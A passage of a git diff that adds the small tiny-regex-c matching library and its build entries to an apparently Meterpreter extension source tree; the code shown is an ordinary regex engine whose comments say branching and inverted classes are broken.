Iterative matching */ +static int matchpattern(regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength) +{ + size_t pre = *matchlength; + do + { + if ((pattern[0].type == UNUSED) || (pattern[1].type == QUESTIONMARK)) + { + return matchquestion(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength); + } + else if (pattern[1].type == STAR) + { + return matchstar(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength); + } + else if (pattern[1].type == PLUS) + { + return matchplus(pattern[0], &pattern[2], text, text_length, text_offset, max_match_length, matchlength); + } + else if ((pattern[0].type == END) && pattern[1].type == UNUSED) + { + return (text_offset == text_length - 1); + } +/* Branching is not working properly + else if (pattern[1].type == BRANCH) + { + return (matchpattern(pattern, text) || matchpattern(&pattern[2], text)); + } +*/ + (*matchlength)++; + } + while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(*pattern++, text[text_offset++])); + + *matchlength = pre; + return 0; +} + +#endif diff --git a/c/meterpreter/source/tiny-regex-c/re.h b/c/meterpreter/source/tiny-regex-c/re.h new file mode 100644 index 000000000..1419df34a --- /dev/null +++ b/c/meterpreter/source/tiny-regex-c/re.h @@ -0,0 +1,71 @@ +/* + * + * Mini regex-module inspired by Rob Pike's regex code described in: + * + * http://www.cs.princeton.edu/courses/archive/spr09/cos333/beautiful.html + * + * + * + * Supports: + * --------- + * '.' Dot, matches any character + * '^' Start anchor, matches beginning of string + * '$' End anchor, matches end of string + * '*' Asterisk, match zero or more (greedy) + * '+' Plus, match one or more (greedy) + * '?' Question, match zero or one (non-greedy) + * '[abc]' Character class, match if one of {'a', 'b', 'c'} + * '[^abc]' Inverted class, match if NOT one of {'a', 'b', 'c'} -- NOTE: feature is currently broken! + * '[a-zA-Z]' Character ranges, the character set of the ranges { a-z | A-Z } + * '\s' Whitespace, \t \f \r \n \v and spaces + * '\S' Non-whitespace + * '\w' Alphanumeric, [a-zA-Z0-9_] + * '\W' Non-alphanumeric + * '\d' Digits, [0-9] + * '\D' Non-digits + * + * + */ + +#ifndef _TINY_REGEX_C +#define _TINY_REGEX_C + +#ifndef RE_DOT_MATCHES_NEWLINE +/* Define to 0 if you DON'T want '.' to match '\r' + '\n' */ +#define RE_DOT_MATCHES_NEWLINE 1 +#endif + +#ifdef __cplusplus +extern "C"{ +#endif + +// size_t for 32-bit compilation. +#include + +typedef struct regex_t +{ + unsigned char type; /* CHAR, STAR, etc. */ + union + { + unsigned char ch; /* the character itself */ + unsigned char* ccl; /* OR a pointer to characters in class */ + } u; +} regex_t; + +/* Typedef'd pointer to get abstract datatype. */ +typedef struct regex_t* re_t; + +#define MAX_REGEXP_OBJECTS 255 /* Max number of regex symbols in expression. */ +#define MAX_CHAR_CLASS_LEN 255 /* Max length of character-class buffer in. */ + +/* Find matches of the compiled pattern inside text. */ +int re_matchp(re_t pattern, const char* text, size_t text_length, size_t max_match_length, size_t* matchlength); + +/* Compile a regular expression in-place, allowing for multiple needles to be compiled without the usage of a static buffer. Returns ERROR_SUCCESS (0) on success, else 1. */ +int re_compile(const char* pattern, size_t pattern_length, re_t compiled_regex, unsigned char* regex_char_buffer); + +#ifdef __cplusplus +} +#endif + +#endif /* ifndef _TINY_REGEX_C */ diff --git a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt index f783b441a..813117b2d 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt +++ b/c/meterpreter/workspace/ext_server_stdapi/CMakeLists.txt @@ -22,6 +22,7 @@ include_directories(../../source/common) include_directories(../../source/jpeg-8) include_directories(../../source/ReflectiveDLLInjection/common) include_directories(../../source/extensions/stdapi/server) +include_directories(../../source/tiny-regex-c) set(SRC_DIR ../../source/extensions/stdapi) file(GLOB_RECURSE SRC_FILES @@ -29,6 +30,7 @@ file(GLOB_RECURSE SRC_FILES ${SRC_DIR}/*.cpp ${SRC_DIR}/*.rc ${MOD_DEF_DIR}/extension.def + ../../source/tiny-regex-c/*.c ) list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/server/resource/hook.c) diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 238aa06ee..8256f7229 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -559,6 +559,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -587,6 +588,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" +